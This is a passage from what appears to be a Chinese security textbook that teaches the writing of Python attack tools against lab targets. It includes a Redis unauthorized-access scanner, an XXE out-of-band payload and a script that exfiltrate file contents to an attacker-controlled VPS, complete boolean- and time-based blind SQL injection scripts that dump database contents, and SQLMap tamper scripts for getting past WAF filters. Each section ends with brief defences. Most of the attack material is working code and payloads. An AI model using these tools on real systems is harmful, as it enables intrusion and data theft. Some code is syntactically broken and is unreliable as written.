        print('Error an argument!')
        sys.exit()
    for opt,arg in opts:
        if opt == "-u":
            url = arg
        elif opt == "-s":
            type = arg
        elif opt == "-p":
            port = arg
        elif opt == "-h":
            print(usage())
    launcher(url,type,port)

3）该部分主要用于输出帮助信息，增加代码工具的可读性和易用性。为了使输出的信息更加美观简洁，可以通过转义字符设置输出字体的颜色，从而实现需要的效果。开头部分包含三个参数：显示方式、前景色、背景色。这三个参数是可选的，可以只写其中的某一个参数。对于结尾部分，可以省略，但是为了书写规范，建议以\033[0m结尾。

该部分的主要代码如下所示：

# banner信息
def banner():
print('\033[1;34m######################################################\033
    [1;32mMS08067实验室\033[1;34m######################################\033
    [0m\n')
# 使用规则
def usage():
    print('-h: --help 帮助;')
    print('-p: --port 端口')
    print('-u: --url  域名;')
    print('-s: --type Redis')
    sys.exit()

先以图案的形式输出脚本出自MS08067实验室，然后输出有关该脚本用法的帮助信息，即可执行的参数指令以及对应的功能简介。输出效果如下所示。当然，此处也可以根据自己的喜好设置输出不同类型的字体颜色或者图案：

4）为Redis未授权访问检测脚本的核心部分，根据命令行输入端写入的IP或IP范围，通过for语句循环输出。Socket函数在第2章已经讲解过了，此处通过socket（）函数尝试连接远程主机的IP及端口号，发送payload字符串。利用recvdata（）函数接收目标主机返回的数据，当时返回的数据含有'redis version'字符串时，表明存在未授权访问漏洞，否则不存在：

##未授权函数检测
def redis_unauthored(url,port):
    result = []
    s = socket.socket()
    payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a"
    socket.setdefaulttimeout(10)
    for ip in url.split():
        try:
            s.connect((ip, int(port)))
            s.sendall(payload.encode())
            recvdata = s.recv(1024).decode()
            if recvdata and 'redis_version' in recvdata:
            {
result.append(str(ip)+':'+str(port)+':'+'\033[1;32;
                     34msuccess\033[0m')
        except:
            pass
            result.append(str(ip) + ':' + str(port) + ':' + '\033[1;31;
                34mfailed \033[0m')
        s.close()
    return(result)

5）本步骤的代码主要用于针对IP区段内的网络主机进行未授权访问检测，在进行内网渗透测试的过程中，由于输入单个IP地址进行测试较为复杂，因此有必要进行IP段段内检测。该部分代码主要以特殊字符“-”为目标字符进行分隔，将分隔后的字符进行for循环存入列表中，以便被函数redis_unauthored（）调用。其具体代码如下所示：

# 执行URL
def url_exec(url):
    i = 0
    zi = []
    group = []
    group1 = []
    group2 = []
    li = url.split(".")
    if(url.find('-')==-1):
        group.append(url)
        zi = group
    else:
        for s in li:
            a = s.find('-')
            if a != -1:
                i = i+1
        zi = url_list(li)
        if i > 1 :
            for li in zi:
                zz = url_list(li.split("."))
                for ki in zz:
                    group.append(ki)
            zi = group
            i = i-1
        if i > 1 :
            for li in zi:
                zzz = url_list(li.split("."))
                for ki in zzz:
                    group1.append(ki)
            zi = group1
            i = i - 1
        if i > 1 :
            for li in zi:
                zzzz = url_list(li.split("."))
                for ki in zzzz:
                    group2.append(ki)
            zi = group2
    return zi

6）设置数据输出格式，使输出的数据更加美观、简洁，增加可读性。该部分代码的输出字段主要分三段信息，其中包括IP地址、端口号、状态信息。代码如下：

# 输出结果格式设计
def output_exec(output,type):
    print("\033[1;32;34m"+type+"......\033[0m")
    print("++++++++++++++++++++++++++++++++++++++++++++++++")
    print("|         ip         |    port   |     status  |")
    for li in output:
        print("+-----------------+-----------+--------------+")
        print("|   "+li.replace(":","   |    ")+"  | ")
    print("+----------------+------------+---------------+\n")
    print("[*] shutting down....")

脚本工具执行结果如下所示：

5.1.4　防御策略

Redis未授权访问漏洞产生的危害很大，甚至可以批量获取目标系统的权限，有必要针对该漏洞进行严格限制和防御。针对该漏洞的防御方式有很多，下面是常见的防御方式：

1）禁止远程使用高危命令。

2）低权限运行Redis服务。

3）禁止外网访问Redis。

4）阻止其他用户添加新的公钥，将authorized_keys的权限设置为对拥有者只读。

5.2　外部实体注入漏洞

当允许引用外部实体时，会造成外部实体注入（XXE）漏洞。通过构造恶意内容，就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。本节介绍针对XXE漏洞的检测和防御方法。

5.2.1　简介

根据回显情况，XXE漏洞可分为如下两种：

·有回显的XXE。

·无回显的XXE。

这里以XXE-Lab靶场作为目标进行漏洞演示，靶场如图5-1所示。

图5-1　XXE-Lab靶场

先进行有回显XXE的演示。我们先在靶场服务器的C盘下新建一个test.txt，内容为“hello hacker！！！”，然后通过BurpSite进行登录抓包，数据包内容如下所示：

构造Payload对靶场服务器C盘下的test.txt文件进行读取，如下所示：

然后，进行无回显XXE的演示。在这之前，我们要关闭靶场的信息输出。打开靶场目录下的php_xxe/doLogin.php文件，进行如下操作：

1）注释掉echo$result。

2）增加“error_reporting（0）；”。

再次进行注入，服务不会返回任何信息，如下所示：

对于无回显的XXE，我们需要构建一条带外数据（Out-of Band，OOB）通道来读取数据。思路如下：

1）攻击者先发送Payload1给Web服务器。

2）Payload1触发Web服务器，Web服务器向VPS获取恶意DTD，并执行Payload2。

3）Payload2使Web服务器把结果作为参数来访问VPS上的HTTP服务。

4）攻击者通过VPS的HTTP访问记录得到结果。

攻击过程如图5-2所示。

我们在VPS上创建名为evil.xml的恶意DTD文件，并将其放在apache的网页目录下，同时开启apache服务。

evil.xml内容如下：

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.61.130/?
    content=%file;'>"> %payload;

图5-2　攻击过程

在VPS上开启对apache访问日志的监控，如下所示：

在登录的数据包中构造如下Payload。其中，参数实体file的内容为要读取文件的内容经过Base64编码后的结果，参数实体dtd为VPS上evil.xml的URL地址：

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:
    /test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.61.130/evil.xml">
%dtd;
%send;
]>

数据包中的内容如下所示：

我们点击发送这个数据包，就可以在VPS上看到HTTP访问记录，如下所示：

对content的内容进行Base64解码将得到文件内容，如图5-3所示。

图5-3　内容进行解码

5.2.2　检测方法

在目标服务器无回显的情况下，只能通过OOB信息传送来进行XXE攻击，但实际的操作过程则比较烦琐，本节针对无回显的XXE，通过Python脚本来实现流程自动化。具体步骤如下：

1）写入脚本相关信息和模块：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys

2）编写攻击Payload的生成函数，能够根据给定的IP地址和端口生成相应的包含恶意DTD的XML文件：

def ExportPayload(lip,lport):
    file = open('evil.xml','w')
    file.write("<!ENTITY % payload \"<!ENTITY &#x25; send SYSTEM 'http://{0}:
        {1}/?content=%file;'>\"> %payload;".format(lip, lport))
    file.close()
    print("[*] Payload文件创建成功!")

3）编写HTTP服务函数，通过http.server模块实现HTTP服务，用来监听目标服务器返回的数据：

# 开启HTTP服务，接收数据
def StartHTTP(lip,lport):
    # HTTP监听的IP地址和端口
    serverAddr = (lip, lport)
    httpd = HTTPServer(serverAddr, MyHandler)
    print("[*] 正在开启HTTP服务器:\n\n================\nIP地址:{0}\n端口:
        {1}\n================\n".format(lip, lport))
httpd.serve_forever()

4）编写POST发送函数，用来向目标服务器发送攻击数据：

# 通过POST发送攻击数据
def SendData(lip, lport, url):
    # 需要读取的文件的路径（默认值）
    filePath = "c:\\test.txt"
    while True:
        # 对用户输入的文件路径斜杠的替换
        filePath = filePath.replace('\\', "/")
        data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file
            SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">
            \n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;
            \n%send;\n]>".format(filePath, lip, lport)
        requests.post(url, data=data)
        # 继续接收用户的输入，读取指定文件
        filePath = input("Input filePath:")

5）定义一个消息处理类，这个类继承自SimpleHTTPRequestHandler。同时需要对原生的日志消息函数进行重写，使其在输出访问信息的同时，把访问的信息记录到文件中去（该函数位于BaseHTTPServer.py中）：

# 对原生的log_message函数进行重写，在输出结果的同时把结果保存到文件中
class MyHandler(SimpleHTTPRequestHandler):

    def log_message(self, format, *args):
        # 终端输出HTTP访问信息
        sys.stderr.write("%s - - [%s] %s\n" %
                        (self.client_address[0],
                        self.log_date_time_string(),
                        format%args))
        # 保存信息到文件
        textFile = open("result.txt", "a")
        textFile.write("%s - - [%s] %s\n" %
                        (self.client_address[0],
                        self.log_date_time_string(),
                        format%args))
        textFile.close()

6）编写主函数，在其中进行相关变量的定义以及函数的调用：

if __name__ == '__main__':
    # 本机IP
    lip = "192.168.61.130"
    # 本机HTTP监听端口
    lport = 3344
    # 目标网站提交表单的URL
    url = "http://192.168.61.134/xxe-lab/php_xxe/doLogin.php"
    # 创建Payload文件
    ExportPayload(lip, lport)
    # HTTP服务线程
    threadHTTP = threading.Thread(target=StartHTTP,args=(lip, lport))
    threadHTTP.start()
    # 发送POST数据线程
    threadPOST = threading.Thread(target=SendData,args=(lip, lport, url))
    threadPOST.start()

脚本运行过程如下所示：

脚本运行结果如图5-4所示。

图5-4　内容解码

HTTP访问记录会自动保存在result.txt文件中，如下所示：

5.2.3　防御策略

XXE的危害不仅在于攻击服务器，还能通过XXE进行内网的端口探测以及攻击内网网站等。下面介绍几种关于XXE漏洞的防御方式。

·默认禁止外部实体的解析。

·对用户提交的XML数据进行过滤，如关键词<！DOCTYPE和<！ENTITY或者SYSTEM和PUBLIC等。

5.3　SQL盲注漏洞

在进行SQL注入攻击时，若确定有注入点但因页面没有回显位来显示数据，导致无法获取有效信息时，就要进行SQL盲注。

5.3.1　简介

目前常用的SQL盲注主要分以下两类：

·基于布尔的盲注：当页面没有回显位、不会输出SQL语句报错信息时，通过返回页面响应的正常或不正常的情况来进行注入。

·基于时间的盲注：当页面没有回显位、不会输出SQL语句报错信息、不论SQL语句的执行结果对错都返回一样的页面时，通过页面的响应时间来进行注入。

上述两种盲注方式都存在的缺点就是需要耗费大量的精力去进行测试，因此在渗透测中常使用工具或脚本来代替手工操作，完成烦琐的注入过程。

sqli-labs是由一位印度程序员编写的SQL注入练习靶场，包含多种类型的注入方式，接下来将会在sqli-labs环境下具体讲解SQL盲注脚本的编写过程。

5.3.2　基于布尔型SQL盲注检测

本节以sqli-labs靶场的第八关为例。该关的SQL查询语句为SELECT*FROM users WHERE id='$id'LIMIT 0，1。

如果盲注的结果正确，则会显示“You are in...........”，如图5-5所示。

如果盲注的结果错误，则不会显示“You are in...........”，如图5-6所示。

那么，我们只需要提前构造相应的注入语句，然后根据页面是否回显“You are in...........”来进行判断即可，让脚本进行自动化操作。笔者已经构造好所需的Payload，代码如下所示：

# 获取数据库长度
>>> http://127.0.0.1/sql/Less-8/?id=1' and if(length(database())=8,1,0) %23

# 获取数据库名
>>> http://127.0.0.1/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,
    1,0) %23

# 获取数据库表的数量
>>> http://127.0.0.1/sql/Less-8/?id=1' and if((select count(*)table_name
    from information_schema.tables where table_schema='security')=4,1,0) %23

# 获取数据库表名称的长度
>>> http://127.0.0.1/Less-8/?id=1' and if((select LENGTH(table_name) from
    information_schema.tables where table_schema='security' limit 1,1)=
    8,1,0) %23

# 获取数据库表名
>>> http://127.0.0.1/Less-8/?id=1' and if(ascii(substr((select table_name
    from information_schema.tables where table_schema='security' limit 0,1),
    1,1))=101,1,0) %23

# 获取表的字段数量
>>> http://127.0.0.1/Less-8/?id=1' and if((select count(column_name) from
    information_schema.columns where table_schema='security' and table_name=
    'users')=3,1,0) %23

# 获取字段的长度
>>> http://127.0.0.1/Less-8/?id=1' and if((select length(column_name) from
    information_schema.columns where table_schema='security' and table_name=
    'users' limit 0,1)=2,1,0) %23

# 获取表的字段
>>> http://127.0.0.1/Less-8/?id=1' and if(ascii(substr((select column_name
    from information_schema.columns where table_schema='security' and table
    _name='users' limit 0,1),1,1))=105,1,0) %23

# 获取字段数据的数量
>>> http://127.0.0.1/Less-8/?id=1'and if ((select count(username) from
    users)=13,1,0) %23
# 获取字段数据的长度
>>> http://127.0.0.1/Less-8/?id=1'and if ((select length(username) from
    users limit 0,1)=4,1,0) %23

# 获取字段数据
>>> http://127.0.0.1/Less-8/?id=1'and if (ascii(substr((select username
    from users limit 0,1),1,1))=68,1,0) %23

图5-5　布尔注入结果正确

图5-6　布尔注入结果错误

1）写入脚本信息，导入模块，定义存储数据库数据的变量且定义一个request对象用来进行请求，代码如下：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests
import optparse

# 存放数据库名的变量
DBName = ""
# 存放数据库表的变量
DBTables = []
# 存放数据库字段的变量
DBColumns = []
# 存放数据字典的变量，键为字段名，值为字段数据列表
DBData = {}
# 若页面返回真，则会出现“You are in...........”
flag = "You are in..........."

# 设置重连次数以及将连接改为短连接
# 防止因为HTTP连接数过多导致的 Max retries exceeded with url问题
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False

2）编写主函数，用来调用各个函数进行自动化注入，代码如下：

# 盲注主函数
def StartSqli(url):
    GetDBName(url)
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url,DBName)
    print("[+]数据库{0}的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1) + ")" + DBTables[item])
    tableIndex = int(input("[*]请输入要查看的表的序号:")) - 1
    GetDBColumns(url,DBName,DBTables[tableIndex])
    while True:
        print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*]请输入要查看的字段的序号(输入0退出):"))-1
        if(columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

3）编写获取数据库名的函数，根据得到的URL获取数据库名并把最后的结果存入DBName：

# 获取数据库名的函数
def GetDBName(url):
    # 引用全局变量DBName，用来存放网页当前使用的数据库名
    global DBName
    print("[-]开始获取数据库名的长度")
    # 保存数据库名长度的变量
    DBNameLen = 0
    # 用于检查数据库名长度的payload
    payload = "' and if(length(database())={0},1,0) %23"
    # 把URL和payload进行拼接，得到最终请求的URL
    targetUrl = url + payload
    # 用for循环来遍历请求，得到数据库名的长度
    for DBNameLen in range(1, 99):
        # 对payload中的参数进行赋值猜解
        res = conn.get(targetUrl.format(DBNameLen))
        # 判断flag是否在返回的页面中
        if flag in res.content.decode("utf-8"):
            print("[+]数据库名的长度:" + str(DBNameLen))
            break
    print("[-]开始获取数据库名")
    payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
    targetUrl = url + payload
    # a表示substr()函数的截取起始位置
    for a in range(1, DBNameLen+1):
        # b表示在ASCII码中33～126位可显示的字符
        for b in range(33, 127):
            res = conn.get(targetUrl.format(a,b))
            if flag in res.content.decode("utf-8"):
                DBName += chr(b)
                print("[-]"+ DBName)
                break

4）编写获取数据库表的函数，根据获取到的URL和数据库名获取数据库中的表，并把结果以列表的形式存入DBTables：

# 获取数据库表的函数
def GetDBTables(url, dbname):
    global DBTables
    # 存放数据库表数量的变量
    DBTableCount = 0
    print("[-]开始获取{0}数据库表数量:".format(dbname))
    # 获取数据库表数量的payload
    payload = "' and if((select count(*)table_name from information_schema.
        tables where table_schema='{0}')={1},1,0) %23"
    targetUrl = url + payload
    # 开始遍历获取数据库表的数量
    for DBTableCount in range(1, 99):
        res = conn.get(targetUrl.format(dbname, DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[+]{0}数据库中表的数量为:{1}".format(dbname, DBTableCount))
            break
    print("[-]开始获取{0}数据库的表".format(dbname))
    # 遍历表名时临时存放表名长度的变量
    tableLen = 0
    # a表示当前正在获取表的索引
    for a in range(0,DBTableCount):
        print("[-]正在获取第{0}个表名".format(a+1))
        # 先获取当前表名的长度
        for tableLen in range(1, 99):
            payload = "' and if((select LENGTH(table_name) from
                information_schema.tables where table_schema='{0}'
                limit {1},1)={2},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname, a, tableLen))
            if flag in res.content.decode("utf-8"):
                break
        # 开始获取表名
        # 临时存放当前表名的变量
        table = ""
        # b表示当前表名猜解的位置
        for b in range(1, tableLen+1):
            payload = "' and if(ascii(substr((select table_name from
                information_schema.tables where table_schema='{0}' limit
                {1},1),{2},1))={3},1,0) %23"
            targetUrl = url + payload
            # c表示在ASCII码中33～126位可显示的字符
            for c in range(33, 127):
                res = conn.get(targetUrl.format(dbname, a, b, c))
                if flag in res.content.decode("utf-8"):
                    table += chr(c)
                    print(table)
                    break
        # 把获取到的表名加入DBTables
        DBTables.append(table)
        # 清空table，用来继续获取下一个表名
        table = ""

5）编写获取表字段的函数，根据获取的URL、数据库名和数据库表，获取表的字段并把结果以列表的形式存入DBColumns：

# 获取数据库表字段的函数
def GetDBColumns(url, dbname, dbtable):
    global DBColumns
    # 存放字段数量的变量
    DBColumnCount = 0
    print("[-]开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "' and if((select count(column_name) from information_
            schema.columns where table_schema='{0}' and table_name='{1}')
            ={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname, dbtable, DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}数据表的字段数为:{1}".format(dbtable, DBColumnCount))
            break
    # 开始获取字段的名称
    # 保存字段名的临时变量
    column = ""
    # a表示当前获取字段的索引
    for a in range(0, DBColumnCount):
        print("[-]正在获取第{0}个字段名".format(a+1))
        # 先获取字段的长度
        for columnLen in range(99):
            payload = "' and if((select length(column_name) from information_
                schema.columns where table_schema='{0}' and table_name='{1}'
                limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname, dbtable, a, columnLen))
            if flag in res.content.decode("utf-8"):
                break
        # b表示当前字段名猜解的位置
        for b in range(1, columnLen+1):
            payload = "' and if(ascii(substr((select column_name from
                information_schema.columns where table_schema='{0}' and
                table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
            targetUrl = url + payload
            # c表示在ASCII码中33～126位可显示的字符
            for c in range(33, 127):
                res = conn.get(targetUrl.format(dbname, dbtable, a, b, c))
                if flag in res.content.decode("utf-8"):
                    column += chr(c)
                    print(column)
                    break
        # 把获取到的字段名加入DBColumns
        DBColumns.append(column)
        # 清空column，用来继续获取下一个字段名
        column = ""

6）编写数据获取函数，根据获取的URL、数据表名和数据表字段来获取数据。数据以字典的形式存放，键为字段名，值为字段数据形成的列表：

# 获取表数据的函数
def GetDBData(url,dbtable,dbcolumn):
    global DBData
    # 先获取字段的数据数量
    DBDataCount = 0
    print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
    for DBDataCount in range(99):
        payload = "'and if ((select count({0}) from {1})={2},1,0)  %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbcolumn, dbtable, DBDataCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn,
                DBDataCount))
            break
    for a in range(0, DBDataCount):
        print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a+1))
        # 先获取这个数据的长度
        dataLen = 0
        for dataLen in range(99):
            payload = "'and if ((select length({0}) from {1} limit {2},1)
                ={3},1,0)  %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbcolumn, dbtable, a, dataLen))
            if flag in res.content.decode("utf-8"):
                print("[-]第{0}个数据长度为:{1}".format(a+1, dataLen))
                break
        # 临时存放数据内容变量
        data = ""
        # 开始获取数据的具体内容
        # b表示当前数据内容猜解的位置
        for b in range(1, dataLen+1):
            for c in range(33, 127):
                payload = "'and if (ascii(substr((select {0} from {1} limit
                    {2},1),{3},1))={4},1,0)  %23"
                targetUrl = url + payload
                res = conn.get(targetUrl.format(dbcolumn, dbtable, a, b, c))
                if flag in res.content.decode("utf-8"):
                    data += chr(c)
                    print(data)
                    break
        # 放到以字段名为键，值为列表的字典中
        DBData.setdefault(dbcolumn,[]).append(data)
        print(DBData)
        # 把data清空，继续获取下一个数据
        data = ""

7）编写主函数，用来获取目标的URL并传递给StartSqli：

if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example:
        python %prog  -u http://192.168.61.1/sql/Less-8/?id=1\n')
    # 目标URL参数-u
    parser.add_option('-u', '--url', dest='targetURL',default='http://
        127.0.0.1/sql/Less-8/?id=1', type='string',help='target URL')
    (options, args) = parser.parse_args()
    StartSqli(options.targetURL)

这样基于布尔的盲注脚本就已经完成了，下面测试一下。

获取数据库名称如下：

获取数据库表名如下：

获取数据库表字段名如下：

获取数据表中数据如下：

5.3.3　基于时间型SQL盲注检测

本节以sqli-labs靶场的第九关为例。该关的SQL查询语句为SELECT*FROM users WHERE id='$id'LIMIT 0，1。

这关不管语句正确还是错误，页面始终显示“Your are in...........”，如图5-7所示，所以我们只能通过基于时间的盲注方法来获取数据，根据页面的返回时间来判断结果。

图5-7　网页显示的内容

完成注入过程所需的Payload的代码如下：

# 判断数据库名的长度
>>> http://127.0.0.1/sql/Less-9/?id=1' and if(length(database())=8,sleep(5),
    0) %23

# 获取数据库名
>>> http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr(database(),1,1))
    =115,sleep(5),0)%23

# 获取数据库中表的数量
>>> http://127.0.0.1/sql/Less-9/?id=1' and if((select count(table_name) from
    information_schema.tables where table_schema='security' )=4,sleep(5),0) %23

# 获取数据库表的长度
>>> http://127.0.0.1/sql/Less-9/?id=1' and if((select length(table_name)
    from information_schema.tables where table_schema='security' limit 0,1)=
    6,sleep(5),0) %23

# 获取数据库表
>>> http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select table_
    name from information_schema.tables where table_schema='security' limit
    0,1),1,1))=101,sleep(5),0)%23

# 获取数据库表中字段的数量
>>> http://127.0.0.1/sql/Less-9/?id=1' and if((select count(column_name)
    from information_schema.columns where table_schema='security' and
    table_name='users')=3,sleep(5),0) %23

# 获取表字段的长度
>>> http://127.0.0.1/sql/Less-9/?id=1' and if((select length(column_name)
    from information_schema.columns where table_schema='security' and
    table_name='users' limit 0,1)=2,sleep(5),0) %23

# 获取数据库字段
>>> http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select column_
    name from information_schema.columns where table_schema='security' and
    table_name='users' limit 0,1),1,1))=105,sleep(5),0) %23

# 获取字段数据的数量
>>> http://127.0.0.1/sql/Less-9/?id=1' and if((select count(username) from
    users)=13,sleep(5),0) %23

# 获取字段数据的长度
>>> http://127.0.0.1/sql/Less-9/?id=1' and if((select length(username) from
    users limit 0,1)=4,sleep(5),0) %23

# 获取数据内容
>>> http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select username
    from users limit 0,1),1,1))=68,sleep(5),0) %23

本节的代码与基于布尔的盲注脚本十分相似，不同之处在于此处脚本需要用到time模块，判断结果的语句和所使用的Payload不相同。以下将列出部分代码，读者可当作练习自行完成编写，若有疑问，可参考源代码。

获取数据库名的函数代码如下：

# 获取数据库名的函数
def GetDBName(url):
    # 引用全局变量DBName，用来存放网页当前使用的数据库名
    global DBName
    print("[-]开始获取数据库名的长度")
    # 保存数据库名长度的变量
    DBNameLen = 0
    # 用于检查数据库名长度的payload
    payload = "' and if(length(database())={0},sleep(5),0) %23"
    # 把URL和payload进行拼接，得到最终的请求URL
    targetUrl = url + payload
    # 用for循环来遍历请求，得到数据库名的长度
    for DBNameLen in range(1, 99):
        # 开始时间
        timeStart = time.time()
        # 开始访问
        res = conn.get(targetUrl.format(DBNameLen))
        # 结束时间
        timeEnd = time.time()
        # 判断时间差
        if timeEnd - timeStart >= 5:
            print("[+]数据库名的长度:" + str(DBNameLen))
            break
    print("[-]开始获取数据库名")
    payload = "' and if(ascii(substr(database(),{0},1))={1},sleep(5),0)%23"
    targetUrl = url + payload
    # a表示substr()函数的截取起始位置
    for a in range(1, DBNameLen+1):
        # b表示在ASCII码中33～126位可显示的字符
        for b in range(33, 127):
            timeStart = time.time()
            res = conn.get(targetUrl.format(a,b))
            timeEnd = time.time()
            if timeEnd - timeStart >= 5:
                DBName += chr(b)
                print("[-]"+ DBName)
                break

下面测试一下效果。

获取数据库名如下所示：

获取数据库表如下所示：

获取数据表字段如下所示：

获取字段数据，如下所示：

5.3.4　防御策略

SQL盲注属于SQL注入的一种方式。下面介绍的几种防御方法可以有效降低SQL注入对网站的危害：

1）用参数化查询的方式代替动态SQL。

2）避免显示数据库的错误信息。

3）在服务器上安装Web应用程序防火墙（Web Application Firewall，WAF）。

4）限制数据库的权限。

5）对于数据库中的敏感信息进行加密保存。

6）根据需求升级数据库的版本，避免旧版数据库中的已知漏洞。

5.4　SQLMap的Tamper脚本

由于SQL注入的影响过于广泛以及人们的网络安全意识普遍提升，网站往往会针对SQL注入添加防SQL注入系统或者WAF。这时，在渗透测试过程中就需要绕过网站的安全防护系统。SQLMap是一款用来检测与利用SQL注入漏洞的免费开源工具，不仅可以实现SQL注入漏洞的检测与利用的自动化处理，而且其自带的Tamper脚本可以帮助我们绕过IDS/WAF的检测。

5.4.1　简介

SQLMap是一款基于Python开发的开源自动化SQL注入工具，功能强大且自带了很多绕过脚本，目前支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种SQL注入技术：

·基于布尔的盲注：能根据页面的返回内容判断真假的注入技术。

·基于时间的盲注：不能根据页面的返回内容来判断信息，而是使用条件语句查看时间延迟语句是否执行（即页面的返回时间是否增加），以此来判断。

·基于报错的注入：根据页面返回的错误信息来判断，或者把注入语句的结果直接返回到页面中。

·堆查询注入：可以同时执行多条语句的执行时的注入。

在渗透测试过程中采用SQLMap，只需要输入几个参数，就可以自动帮助我们完成一系列的SQL注入。为了提高安全性，网站管理员往往会添加防SQL注入系统或者WAF。SQLMap提供的Tamper脚本可以帮助我们有效地绕过这些安全防护，完成渗透测试。

现在SQLMap提供了57个Tamper脚本，具体内容如表5-1所示。

表5-1　Tamper脚本

在渗透测试过程中，读者可根据表5-1使用相关的Tamper脚本来绕过IDS/WAF的检测。

虽然SQLMap提供了这么多的Tamper脚本，但是在实际使用的过程中，网站的安全防护并没有那么简单，可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系手动构建相应的Tamper脚本。

Tamper相当于一个加工车间，它会把我们的Payload进行加工之后发往目标网站。下面我们简单介绍Tamper的结构：

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOW

# 对当前脚本的介绍，可以为空
def dependencies():
    pass

"""
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数，kwargs参数用得不多。在官方提供的Tamper脚本中
    只被使用了两次，两次都只是更改了http-header
"""

def tamper(payload, **kwargs):
    # 增加相关的payload处理，再将payload返回
    # 必须返回最后的payload
    return payload

Tamper脚本的构建非常简单，其实渗透测试中真正的难点在于如何针对目标网站的防护找出对应的绕过方法。

5.4.2　Tamper脚本的编写（一）

经过5.4.1节对Tamper脚本的介绍，本节我们来编写绕过目标网站防SQL注入系统的Tamper脚本。

此处以sqli-labs的第26关为例，如图5-8所示。笔者的环境为PHP-5.2.17+Apache。

图5-8　sqli-labs第26关

以下为网站的过滤函数，可以看到网站过滤了or、and、/*、--、#、空格和斜杠：

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);     //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);     //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id);     //strip out /*
$id= preg_replace('/[--]/',"", $id);     //Strip out --
$id= preg_replace('/[#]/',"", $id);     //Strip out #
$id= preg_replace('/[\s]/',"", $id);     //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id);     //Strip out slashes
return $id;
}

表5-2所示是笔者经过测试得出的绕过方法：

表5-2　关键字与绕过方法

先编写第一个双写绕过脚本double-and-or.py：

#!/usr/bin/env python
# -*- coding:UTF-8 -*-

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入正则模块，用于字符的替换
import re
# sqlmap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.NORMAL

# 脚本描述函数
def dependencies():
    pass

def tamper(payload, **kwargs):
    # 将payload进行转存
    retVal = payload
    if payload:
        # 使用re.sub函数不区分大小写地替换and和or
        # 将and和or替换为anandd和oorr
        retVal = re.sub(r"(?i)(or)", r"oorr", retVal)
        retVal = re.sub(r"(?i)(and)", r"anandd", retVal)
    # 把最后修改好的payload返回
return retVal

再编写第二个空格替换脚本space2A0.py。在这里我们可以直接以官方Tamper脚本的space2plus.py为模板进行更改：

#!/usr/bin/env python
# -*- coding:UTF-8 -*-

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    # 把原先的+改为%a0即可
                    retVal += "%a0"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                # 把原先的+改为%a0即可
                retVal += "%a0"
                continue

            retVal += payload[i]

return retVal

